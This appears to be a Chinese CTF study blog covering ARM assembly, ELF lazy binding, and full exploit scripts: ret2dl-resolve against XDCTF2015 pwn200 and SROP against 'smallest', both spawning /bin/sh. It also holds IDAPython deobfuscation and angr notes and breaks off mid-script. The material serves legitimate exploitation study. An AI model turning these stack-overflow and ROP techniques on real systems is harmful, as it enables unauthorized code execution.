0x00010450 <+36>: bge 0x1045c <max+48>
0x00010454 <+40>: ldr r3, [r11, #-12]
0x00010458 <+44>: b 0x10460 <max+52>
0x0001045c <+48>: ldr r3, [r11, #-8]
0x00010460 <+52>: mov r0, r3
0x00010464 <+56>: sub sp, r11, #4
0x00010468 <+60>: pop {r11, pc}

do_nothing:

1
2
3
4
int do_nothing()
{
return 0;
}
1
2
3
4
5
6
7
8
Dump of assembler code for function do_nothing:	@由于do_nothing没有再调用其他函数,所以没有push lr,返回时也是直接bx lr
=> 0x0001046c <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00010470 <+4>: add r11, sp, #0
0x00010474 <+8>: mov r3, #0
0x00010478 <+12>: mov r0, r3
0x0001047c <+16>: sub sp, r11, #0
0x00010480 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00010484 <+24>: bx lr

把函数调用看做一个树形结构的话,这里也可以看出叶子函数和非叶子函数的区别

OK到此为止对ARM的一些基础就知道的差不多了,来写题吧

leg

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int main(){                                      
int key=0;
printf("Daddy has very strong arm! : ");
scanf("%d", &key);
if( (key1()+key2()+key3()) == key ){
printf("Congratz!\n");
int fd = open("flag", O_RDONLY);
char buf[100];
int r = read(fd, buf, 100);
write(0, buf, r);
}
else{
printf("I have strong leg :P\n");
}
return 0;
}

从c语言内容可以看出来,主要就是看key1、key2、key3的汇编然后计算和即可,先来看key1

1
2
3
4
5
6
7
8
Dump of assembler code for function key1:                          
0x00008cd4 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008cd8 <+4>: add r11, sp, #0
0x00008cdc <+8>: mov r3, pc
0x00008ce0 <+12>: mov r0, r3
0x00008ce4 <+16>: sub sp, r11, #0
0x00008ce8 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008cec <+24>: bx lr

这里就是考PC的特性,指向后两条指令处,即0x00008ce4,再来看key2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Dump of assembler code for function key2:                      
0x00008cf0 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008cf4 <+4>: add r11, sp, #0
0x00008cf8 <+8>: push {r6} ; (str r6, [sp, #-4]!)
0x00008cfc <+12>: add r6, pc, #1
0x00008d00 <+16>: bx r6
0x00008d04 <+20>: mov r3, pc @跳转到这里的时候切成了Thumb模式,然后将r3赋值0x00008d08
0x00008d06 <+22>: adds r3, #4 @ r3=0x00008d0C
0x00008d08 <+24>: push {r3}
0x00008d0a <+26>: pop {pc} @这里就是类似花指令的操作,接着执行
0x00008d0c <+28>: pop {r6} ; (ldr r6, [sp], #4)
0x00008d10 <+32>: mov r0, r3 @此时r3=0x00008d0C
0x00008d14 <+36>: sub sp, r11, #0
0x00008d18 <+40>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d1c <+44>: bx lr

所以key2返回0x00008d0C,再来看key3

1
2
3
4
5
6
7
8
Dump of assembler code for function key3:                      
0x00008d20 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008d24 <+4>: add r11, sp, #0
0x00008d28 <+8>: mov r3, lr
0x00008d2c <+12>: mov r0, r3
0x00008d30 <+16>: sub sp, r11, #0
0x00008d34 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d38 <+24>: bx lr

这里lr存的是在main里面的返回地址,去main里面看就知道是0x00008d80

所以加起来就是0x1A770→108400,ssh过去就可以得到flag

_dl_runtime_resolve

这个应该说是一个很久远的坑了,算是给自己补补基础吧,也是查漏补缺23333,也顺带复习一下延迟绑定

写了一个程序自己调试程序调用_dl_runtime_resolve的过程

1
2
3
4
5
6
7
8
#include<stdio.h>
int main()
{
puts("hello world");
puts("hello world twice");
exit(0);
return 0;
}

第一次调用puts

1579182750270

直接call程序的plt段,plt段是一个是一个类似 jmp [GOT表] 的结构,此时的第一次调用的GOT项<0x804a00c>存放着一个0x08048306的plt段地址,如下所示

1579182851280

这个地方入栈了一个0,然后跳到0x80482f0 再入栈一个[0x804a004] (link_map)然后调用_dl_runtime_resolve函数来调用我们要用的函数

这个resolve函数一共是两个参数,这两个参数分别是一个link_map的指针和puts在ELF JMPREL Relocation Table中的偏移,示意如下

1
_dl_runtime_resolve(link_map, rel_offset)

其中ELF JMPREL Relocation Table中如下所示+0即为puts函数的偏移(64位的话就是index)

1579183036345

第一个参数&link_map如下所示,第三个数是.dynamic段的地址

1579183162193 1579183223982

主要注意观察这三个

这里介绍两个结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
typedef struct//Elf32_Sym 不过这里我没有给Symbol Table的截图
{
Elf32_Word st_name; //dd 符号名,是相对.dynstr起始的偏移
Elf32_Addr st_value;//dd
Elf32_Word st_size; //dd
unsigned char st_info; //db 对于导入函数符号而言,它是0x12
unsigned char st_other;//db
Elf32_Section st_shndx;//dw
} Elf32_Sym; //对于导入函数符号而言,其他字段都是0

typedef struct//Elf32_Rel
{
Elf32_Addr r_offset; //dd 指向GOT表的指针
Elf32_Word r_info; //dd
// 一些关于导入符号的信息,我们只关心从第二个字节开始的值((val)>>8),忽略那个07
} Elf32_Rel;

_dl_runtime_resolve具体步骤

  1. link_map访问.dynamic,取出.dynstr, .dynsym, .rel.plt(存放Elf32_Rel处) 的指针
  2. .rel.plt + 传入的第二个参数求出当前函数的重定位表项Elf32_Rel的指针,记作rel
  3. rel->r_info >> 8作为.dynsym的下标,求出当前函数的符号表项Elf32_Sym的指针,记作sym
  4. .dynstr + sym->st_name得出符号名字符串指针
  5. 在动态链接库查找这个函数的地址,并且把地址赋值给*rel->r_offset,即GOT表
  6. 调用这个函数

大致有这么一张图

image-20200406224128730

第二次调用puts

1579183405159

可以看到此时got表已经被改成了puts函数的地址,所以第二次是直接调用

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
_dl_fixup(struct link_map *l, ElfW(Word) reloc_arg)
{
// 首先通过参数reloc_arg计算重定位入口,这里的JMPREL即.rel.plt,reloc_offset即reloc_arg
const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
// 然后通过reloc->r_info找到.dynsym中对应的条目
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
// 这里还会检查reloc->r_info的最低位是不是R_386_JUMP_SLOT=7
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
// 接着通过strtab+sym->st_name找到符号表字符串,result为libc基地址
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);
// value为libc基址加上要解析函数的偏移地址,也即实际地址
value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);
// 最后把value写入相应的GOT表条目中
return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
}

ret2dl

这个攻击更适于一些比较简单的栈溢出的情况,但同时又难以泄露获取更多信息的情况下

可用方式:

  1. 控制程序执行dl_resolve函数
    • 给定Link_map以及index两个参数。
    • 当然我们可以直接给定 plt[0]对应的汇编代码,这时,我们就只需要一个index就足够了。
  2. 控制index的大小,以便于指向自己所控制的区域,从而伪造一个指定的重定位表项。
  3. 伪造重定位表项,使得重定位表项所指的符号也在自己可以控制的范围内。
  4. 伪造符号内容,使得符号对应的名称也在自己可以控制的范围内

XDCTF2015-pwn200

image-20200406232708454 image-20200406232720644

程序的逻辑很简单,其中最主要的是下面的read栈溢出

为了来一步步学习ret2dl,就照着师傅的博客一步步来

stage1

stage是通过一个栈迁移的运用来打印我们读入的字符串/bin/sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
# -*- coding: utf-8 -*-
from __future__ import print_function
from pwn import *

binary = 'pwn200' #binary's name here
context.binary = binary #context here
context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']

pty = process.PTY
p = process(binary, aslr = 1, stdin=pty, stdout=pty) #process option here
'''
Host =
Port =
p = remote(Host,Port)
'''
elf = ELF(binary)
libc = elf.libc

my_u64 = lambda x: u64(x.ljust(8, '\x00'))
my_u32 = lambda x: u32(x.ljust(4, '\x00'))
global_max_fast=0x3c67f8
codebase = 0x555555554000
def loginfo(what='',address=0):
log.info("\033[1;36m" + what + '----->' + hex(address) + "\033[0m")

# todo here
ppp_ret = 0x0804856c
pop_ebp_ret = 0x08048453
leave_ret = 0x08048481

stack_size = 0x800
bss_addr = 0x0804A020 # readelf -S bof | grep ".bss"
base_stage = bss_addr + stack_size

read_plt=0x08048390
write_plt=0x080483C0
'''
0x08048453 : pop ebp ; ret
0x08048452 : pop ebx ; pop ebp ; ret
0x0804856c : pop ebx ; pop edi ; pop ebp ; ret
0x080485cc : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804836c : pop ebx ; ret
0x0804856d : pop edi ; pop ebp ; ret
0x080485cd : pop esi ; pop edi ; pop ebp ; ret
0x0804834b : ret
0x08048532 : ret 0xb8
0x08048481 : leave ; ret
'''
p.recvuntil('Welcome to XDCTF2015~!\n')
payload = 'A' * 0x70
payload += p32(read_plt) # 读100个字节到base_stage 这里栈是先读再迁移
payload += p32(ppp_ret) #清除参数
payload += p32(0)
payload += p32(base_stage)
payload += p32(100)
payload += p32(pop_ebp_ret) # 把base_stage pop到ebp中
payload += p32(base_stage)
payload += p32(leave_ret) # mov esp, ebp ; pop ebp ;将esp指向base_stage
raw_input()
p.sendline(payload)

cmd = "/bin/sh"

payload2 = 'AAAA' # 接上一个payload的leave->pop ebp ; ret
payload2 += p32(write_plt)
payload2 += 'AAAA'
payload2 += p32(1)
payload2 += p32(base_stage + 80)
payload2 += p32(len(cmd))
payload2 += 'A' * (80 - len(payload2)) # pad
payload2 += cmd + '\x00'
payload2 += 'A' * (100 - len(payload2))
p.sendline(payload2)
p.interactive()

p.interactive()

stage2

这里修改了payload2,使其成为利用plt[0]+fake_index的方法来打印/bin/sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
cmd = "/bin/sh"

plt_0 = 0x08048370
index_offset = 0x20 # write's index

payload2 = 'AAAA' # for pop ebp
payload2 += p32(plt_0)
payload2 += p32(index_offset) #fake index
payload2 += 'AAAA'
payload2 += p32(1)
payload2 += p32(base_stage + 80)
payload2 += p32(len(cmd))
payload2 += 'A' * (80 - len(payload2))
payload2 += cmd + '\x00'
payload2 += 'A' * (100 - len(payload2))
p.sendline(payload2)

stage3

这次是利用一个fake Elf32_Rel,和fake offset来实现write的调用 offset就是通过fake_reloc-rel_plt的偏移计算出来的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
cmd = "/bin/sh"
plt_0 = 0x08048370
rel_plt = 0x08048318
index_offset = (base_stage + 28) - rel_plt # base_stage + 28指向fake_reloc,减去rel_plt即偏移
write_got = elf.got['write']
r_info = 0x507 # write: Elf32_Rel->r_info
fake_reloc = p32(write_got) + p32(r_info)

payload2 = 'AAAA'
payload2 += p32(plt_0)
payload2 += p32(index_offset)
payload2 += 'AAAA'
payload2 += p32(1)
payload2 += p32(base_stage + 80)
payload2 += p32(len(cmd))
payload2 += fake_reloc # (base_stage+28)的位置
payload2 += 'A' * (80 - len(payload2))
payload2 += cmd + '\x00'
payload2 += 'A' * (100 - len(payload2))
p.sendline(payload2)
p.interactive()

stage4

此时伪造了一个Elf32_Sym结构体还有fake r_info,至此我们已经可以劫持构造Elf32_Rel还有Elf32_sym了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
...
cmd = "/bin/sh"
plt_0 = 0x08048370
rel_plt = 0x08048318
index_offset = (base_stage + 28) - rel_plt
write_got = elf.got['write']
dynsym = 0x080481D8
dynstr = 0x08048268
fake_sym_addr = base_stage + 36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) # 这里的对齐操作是因为dynsym里的Elf32_Sym结构体都是0x10字节大小
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 0x10 # 除以0x10因为Elf32_Sym结构体的大小为0x10,得到write的dynsym索引号
r_info = (index_dynsym << 8) | 0x7
fake_reloc = p32(write_got) + p32(r_info)
st_name = 0x54
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)

payload2 = 'AAAA'
payload2 += p32(plt_0)
payload2 += p32(index_offset)
payload2 += 'AAAA'
payload2 += p32(1)
payload2 += p32(base_stage + 80)
payload2 += p32(len(cmd))
payload2 += fake_reloc # (base_stage+28)的位置
payload2 += 'B' * align #算出要对齐的字节数
payload2 += fake_sym # (base_stage+36)的位置
payload2 += 'A' * (80 - len(payload2))
payload2 += cmd + '\x00'
payload2 += 'A' * (100 - len(payload2))
p.sendline(payload2)
p.interactive()

stage5

前面我们写了st_name = 0x54,指向的是string table中的write字符串

然后我们把他修改成我们输入的write字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
cmd = "/bin/sh"
plt_0 = 0x08048370
rel_plt = 0x08048318
index_offset = (base_stage + 28) - rel_plt
write_got = elf.got['write']
dynsym = 0x080481D8
dynstr = 0x08048268
fake_sym_addr = base_stage + 36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 0x10
r_info = (index_dynsym << 8) | 0x7
fake_reloc = p32(write_got) + p32(r_info)
st_name = (fake_sym_addr + 0x10) - dynstr # 加0x10因为Elf32_Sym的大小为0x10
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)

payload2 = 'AAAA'
payload2 += p32(plt_0)
payload2 += p32(index_offset)
payload2 += 'AAAA'
payload2 += p32(1)
payload2 += p32(base_stage + 80)
payload2 += p32(len(cmd))
payload2 += fake_reloc # (base_stage+28)的位置
payload2 += 'B' * align
payload2 += fake_sym # (base_stage+36)的位置
payload2 += "write\x00"
payload2 += 'A' * (80 - len(payload2))
payload2 += cmd + '\x00'
payload2 += 'A' * (100 - len(payload2))
r.sendline(payload2)
r.interactive()

stage6

上一步我们用输入的write实现了调用,这一步直接改成system不就是getshell了吗

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
cmd = "/bin/sh"
plt_0 = 0x08048380
rel_plt = 0x08048330
index_offset = (base_stage + 28) - rel_plt
write_got = elf.got['write']
dynsym = 0x080481d8
dynstr = 0x08048278
fake_sym_addr = base_stage + 36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 0x10
r_info = (index_dynsym << 8) | 0x7
fake_reloc = p32(write_got) + p32(r_info)
st_name = (fake_sym_addr + 0x10) - dynstr
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)

payload2 = 'AAAA'
payload2 += p32(plt_0)
payload2 += p32(index_offset)
payload2 += 'AAAA'
payload2 += p32(base_stage + 80)
payload2 += 'aaaa'
payload2 += 'aaaa'
payload2 += fake_reloc # (base_stage+28)的位置
payload2 += 'B' * align
payload2 += fake_sym # (base_stage+36)的位置
payload2 += "system\x00"
payload2 += 'A' * (80 - len(payload2))
payload2 += cmd + '\x00'
payload2 += 'A' * (100 - len(payload2))
p.sendline(payload2)
p.interactive()

模板

这里使用到了roputils

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from roputils import *
from pwn import process
from pwn import gdb
from pwn import context
r = process('./pwn200')
context.log_level = 'debug'

rop = ROP('./pwn200')
offset = 112
bss_base = rop.section('.bss')
buf = rop.fill(offset)

buf += rop.call('read', 0, bss_base, 100) #返回地址处自动加上了有ppp_ret的地址
## used to call dl_Resolve()
buf += rop.dl_resolve_call(bss_base + 20, bss_base) # dl_resolve_call第一个参数是Elf32_Rel的base,用来填上fake Rel结构体偏移的 第二个是*args,执行dl_resolve_call时函数的参数
r.send(buf)

buf = rop.string('/bin/sh') # /bin/sh是system参数
buf += rop.fill(20, buf)
## used to make faking data, such relocation, Symbol, Str
buf += rop.dl_resolve_data(bss_base + 20, 'system') # 这里同时填上了Elf32_Rel结构体和Elf32_sym结构体(base+20对应前面的base+20,注意)
buf += rop.fill(100, buf)
r.send(buf)
r.interactive()

不过在布置base的时候需要注意一下bss的内容还有一些对齐操作,必要时调试观察+修改一下base


参考链接:

https://bbs.pediy.com/thread-227034.htm

https://wiki.x10sec.org/pwn/stackoverflow/advanced_rop/

64位参考链接:https://xz.aliyun.com/t/5722#toc-2

高级栈溢出——SROP

查漏补缺233333

SROP

Sigreturn Oriented Programming

其中Unix-like system处理信号量的机制主要步骤分为如下:

当内核向某个进程发起(deliver)一个signal,该进程会被暂时挂起(suspend),进入内核(1)
然后内核为该进程保存相应的上下文,跳转到之前注册好的signal handler中处理相应signal(2)
当signal handler返回之后(3)
内核为该进程恢复之前保存的上下文,最后恢复进程的执行(4)

ucontext

伪造时需要注意:esp,ebp和es,gs等段寄存器不可直接设置为0

保存上下文时保存的内容叫ucontext,具体对应如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
struct sigcontext	//x86
{
unsigned short gs, __gsh;
unsigned short fs, __fsh;
unsigned short es, __esh;
unsigned short ds, __dsh;
unsigned long edi;
unsigned long esi;
unsigned long ebp;
unsigned long esp;
unsigned long ebx;
unsigned long edx;
unsigned long ecx;
unsigned long eax;
unsigned long trapno;
unsigned long err;
unsigned long eip;
unsigned short cs, __csh;
unsigned long eflags;
unsigned long esp_at_signal;
unsigned short ss, __ssh;
struct _fpstate * fpstate;
unsigned long oldmask;
unsigned long cr2;
};

////////////////////////////////////////////////
struct _fpstate //x64
{
/* FPU environment matching the 64-bit FXSAVE layout. */
__uint16_t cwd;
__uint16_t swd;
__uint16_t ftw;
__uint16_t fop;
__uint64_t rip;
__uint64_t rdp;
__uint32_t mxcsr;
__uint32_t mxcr_mask;
struct _fpxreg _st[8];
struct _xmmreg _xmm[16];
__uint32_t padding[24];
};

struct sigcontext
{
__uint64_t r8;
__uint64_t r9;
__uint64_t r10;
__uint64_t r11;
__uint64_t r12;
__uint64_t r13;
__uint64_t r14;
__uint64_t r15;
__uint64_t rdi;
__uint64_t rsi;
__uint64_t rbp;
__uint64_t rbx;
__uint64_t rdx;
__uint64_t rax;
__uint64_t rcx;
__uint64_t rsp;
__uint64_t rip;
__uint64_t eflags;
unsigned short cs;
unsigned short gs;
unsigned short fs;
unsigned short __pad0;
__uint64_t err;
__uint64_t trapno;
__uint64_t oldmask;
__uint64_t cr2;
__extension__ union
{
struct _fpstate * fpstate;
__uint64_t __fpstate_word;
};
__uint64_t __reserved1 [8];
};

syscall

具体利用时需要的是调用sigreturn系统调用

1
2
3
4
5
6
/*for x86*/
mov eax,0x77
int 80h
/*for x86_64*/
mov rax,0xf
syscall

利用原理:

  • Signal Frame 被保存在用户的地址空间中,所以用户是可以读写的。
  • 由于内核与信号处理程序无关 (kernel agnostic about signal handlers),它并不会去记录这个 signal 对应的 Signal Frame,所以当执行 sigreturn 系统调用时,此时的 Signal Frame 并不一定是之前内核为用户进程保存的 Signal Frame。

比如当我们执行sigreturn系统调用之前栈布局是如下情况的话,当系统执行完 sigreturn 系统调用之后,会执行一系列的 pop 指令以便于恢复相应寄存器的值,当执行到 rip 时,就会将程序执行流指向 syscall 地址,根据相应寄存器的值,此时,便会得到一个 shell

image-20200406192003998

链式利用原理:

  • 控制栈指针。
  • 把原来 rip 指向的syscall gadget 换成syscall; ret gadget。

如下图所示 ,这样当每次 syscall 返回的时候,栈指针都会指向下一个 Signal Frame。因此就可以执行一系列的 sigreturn 函数调用

image-20200406192224800

利用条件

  1. 程序存在栈溢出漏洞
  2. 知道栈地址或者可以知道需要使用字符串的地址等
  3. 知道sigreturn的地址
  4. 知道syscall的地址或者syscall gadget地址

smallest

原理看上去挺好理解,还是直接实操吧

image-20200406194252445

程序没有canary和PIE保护

具体的程序就这么几行汇编代码:

1
2
3
4
5
6
xor     rax, rax
mov edx, 400h ; count
mov rsi, rsp ; buf
mov rdi, rax ; fd
syscall ; LINUX - sys_read
retn

然后加载进程序的时候只有这么几个寄存器被操作了,其余值均为0(Ubuntu16.04)

直接从rsp处读取了0x400个字节的栈内容,其中最主要还是需要知道怎么来构造出sigreturn的syscall操作

这里通过一个exp来学习一下:

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
# -*- coding: utf-8 -*-
from __future__ import print_function
from pwn import *

binary = 'smallest' #binary's name here
context.binary = binary #context here
context.log_level='debug'
pty = process.PTY
p = process(binary, aslr = 1, stdin=pty, stdout=pty) #process option here
'''
Host =
Port =
p = remote(Host,Port)
'''
elf = ELF(binary)
libc = elf.libc

my_u64 = lambda x: u64(x.ljust(8, '\x00'))
my_u32 = lambda x: u32(x.ljust(4, '\x00'))
global_max_fast=0x3c67f8
codebase = 0x555555554000
def loginfo(what='',address=0):
log.info("\033[1;36m" + what + '----->' + hex(address) + "\033[0m")

# todo here
syscall_ret = 0x00000000004000BE
start_addr = 0x00000000004000B0
## set start addr three times
payload = p64(start_addr) * 3
p.send(payload)

## modify the return addr to start_addr+3
## so that skip the xor rax,rax; After read rax=1
## get stack addr
sh.send('\xb3') # 这一步很巧妙,只读了一个字节绕过 xor rax,rax 刚好把rax设置成1用于write leak栈地址
stack_addr = u64(sh.recv()[8:16])
log.success('leak stack addr :' + hex(stack_addr))

## make the rsp point to stack_addr
## the frame is read(0,stack_addr,0x400)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read # constans直接获取SYS_read的系统调用号,这里为什么要通过sigframe链式利用stack_addr可能是因为这样比较好设置/bin/sh的偏移,直接通过leak到的地址来设置
sigframe.rdi = 0
sigframe.rsi = stack_addr
sigframe.rdx = 0x400
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret
payload = p64(start_addr) + 'a' * 8 + str(sigframe) #先设置好sigframe,然后跳到start再读取一次
sh.send(payload)

# set rax=15 and call sigreturn
sigreturn = p64(syscall_ret) + 'b' * 7 #这里相当于把前一步的aaaaaaaa(返回地址处)填充成p64(syscall_ret),然后把rax设置成0x15,直接调用syscall,就会用到我们的sigframe,这7个b似乎没有影响
#调用完之后会直接按照sigframe执行 read(0,stack_addr,0x400)
sh.send(sigreturn) # 这个时候就会直接往leak的stack_addr处读取0x400个字节,sigframe的长度是0x98

# call execv("/bin/sh",0,0)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = stack_addr + 0x120 # "/bin/sh" 's addr
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret

frame_payload = p64(start_addr) + 'b' * 8 + str(sigframe)
print len(frame_payload)
payload = frame_payload + (0x120 - len(frame_payload)) * '\x00' + '/bin/sh\x00'
sh.send(payload)
sh.send(sigreturn)
sh.interactive()


p.interactive()

参考链接:

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/advanced-rop-zh/#srop

http://www.reshahar.com/2017/05/04/360%E6%98%A5%E7%A7%8B%E6%9D%AFsmallest-pwn%E7%9A%84%E5%AD%A6%E4%B9%A0%E4%B8%8E%E5%88%A9%E7%94%A8/

https://www.anquanke.com/post/id/85810

https://www.freebuf.com/articles/network/87447.html

自己学校新生杯一道逆向题引导的angr学习

前言

上学期在图书馆研究室偶然提到了自己协会办比赛可以给学弟学妹们拿学分的想法,我当时的想法是办可以办,就是题目可能得非常简单他们才能写,嘛不过事实确实是这样。可是有外校师傅一起加入之后就变的很活跃了,室友请了启奡师傅还有福州大学的师傅来出题,自己也在二进制方向放了一波签到题,举行了一次面向大一大二的新生杯,也拉了一些外校的师傅来打,整体办的还是蛮成功的,室友看上去也挺开心,这里专门用启奡师傅给的逆向来记一篇一直没有接触的angr的学习

题目

看来以后写博客得把题目链接也给上了,所以去github新建了一个用来放题目的仓库,题目链接

拿到题目之后首先用IDA脚本去花指令,这里用的是IDApython

1
2
3
4
5
6
7
8
9
10
11
ads = 0x4005B0

end = 0x401DC0

codes = get_bytes(ads, end-ads)

codes = codes.replace("\x74\x03\x75\x01\xe8\x90", "\x90\x90\x90\x90\x90\x90")

patch_bytes(ads, codes)

print "[+] patch ok"

得到函数之后可以发现是一个很长的线性执行流程,直接手动把整个流程一步步过肯定很麻烦了,当然要自己写脚本来简化

1585656430766

出题人wp写的思路是:

  1. 简单花指令的去除
  2. 在有限域上运算的简化

ps:在逆向的时候突然发现原来IDA可以按=映射变量,噗,我尼玛玩了这么久的IDA居然才知道

第一种解法:IDApython

其中一种解题方法是用IDApython来解,这里也学习了一些IDApython脚本的用法,具体脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
def trans(xx, kk):
return [(x-kk) & 0xFF for x in xx]
def xor(xx, kk):
return [x^kk for x in xx]
def not_(xx):
return [~x for x in xx]

dt = [0xd9, 0x2c, 0x27, 0xd6, 0xd8, 0x2a, 0xda, 0x2d, 0xd7, 0x2c, 0xdc, 0xe1, 0xdb, 0x2c, 0xd9, 0xdd, 0x27, 0x2d, 0x2a, 0xdc, 0xdb, 0x2c, 0xe1, 0x29, 0xda, 0xda, 0x2c, 0xda, 0x2a, 0xd9, 0x29, 0x2a]

ads = 0x4005B0
end = 0x401DC0
i = PrevHead(end)
while i > ads: #获取不同的指令以及指令的操作数来进行求解
if GetMnem(i) == 'xor' and GetOpnd(i, 0) == 'byte ptr [rdx+rax+5]':
k = int(GetOpnd(i, 1).rstrip('h'), 16)
dt = xor(dt, k)
print("xor: {}".format(k))
if GetMnem(i) == 'add' and GetOpnd(i, 0) == 'byte ptr [rdx+rax+5]':
k = int(GetOpnd(i, 1).rstrip('h'), 16)
dt = trans(dt, k)
print("trans: {}".format(k))
if GetMnem(i) == 'not' and GetOpnd(i, 0) == 'byte ptr [rdx+rax+5]':
dt = not_(dt)
print("not: {}".format(k))
i = PrevHead(i)

print(dt)

第二种解法:angr

当然我这这篇文章主要要说的就是第二种解法了:angr求解

What is angr

首先angr是一个什么东西呢

angr is a suite of Python 3 libraries that let you load a binary and do a lot of cool things to it:

(angr是一个套用来加载二进制文件做一些很酷的事情的python3库)

具体可以用来做以下的一些事(虽然不知道大佬们把这些翻译成什么中文了,大致看看先)

  • Disassembly and intermediate-representation lifting
  • Program instrumentation
  • Symbolic execution
  • Control-flow analysis
  • Data-dependency analysis
  • Value-set analysis (VSA)
  • Decompilation

在使用之前强烈建议多了解一下符号执行的概念,要不然官方文档中很多英文还有概念可能会看不懂,特别是那些带数学符号的概念名词,不过细心一点看不会很难懂的。但是毕竟有些词语有些学术化,我也懒得用那么多俗语来解释了,下文只在一些重要地方做一些注释

例如:这篇文章

安装

安装环境:Ubuntu16.04

  1. 安装之前首先把自己默认的python3.5换成了python 3.7.1(编译安装)
  2. sudo apt-get install python3-dev libffi-dev build-essential virtualenvwrapper
  3. mkvirtualenv --python=$(which python3) angr && pip install angr

其中virtualenvwrapper是一个Python虚拟环境,使用虚拟环境的主要原因是angr会修改libz3和libVEX

创建虚拟环境之后每次使用workondeactivate即可在真实与虚拟环境切换

使用&examples

这里用一个简单的例子来开始直接上手学习angr吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>
char *sneaky = "SOSNEAKY";

int authenticate(char *username, char *password)
{
char stored_pw[9];
stored_pw[8] = 0;
int pwfile;

// evil back d00r
if (strcmp(password, sneaky) == 0) return 1;

pwfile = open(username, O_RDONLY);
read(pwfile, stored_pw, 8);

if (strcmp(password, stored_pw) == 0) return 1;
return 0;

}

int accepted()
{
printf("Welcome to the admin console, trusted user!\n");
}

int rejected()
{
printf("Go away!");
exit(1);
}

int main(int argc, char **argv)
{
char username[9];
char password[9];
int authed;

username[8] = 0;
password[8] = 0;

printf("Username: \n");
read(0, username, 8);
read(0, &authed, 1);
printf("Password: \n");
read(0, password, 8);
read(0, &authed, 1);

authed = authenticate(username, password);
if (authed) accepted();
else rejected();
}

这里程序给出了一个很简单的逻辑,具体是我们只要输入password"SOSNEAKY"就可以直接认证通过

然后这里是angr官网给出的solve.py,我在其中注释处做了一些补充笔记

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
#!/usr/bin/env python

import angr
import sys

# Look at fauxware.c! This is the source code for a "faux firmware" (@zardus
# really likes the puns) that's meant to be a simple representation of a
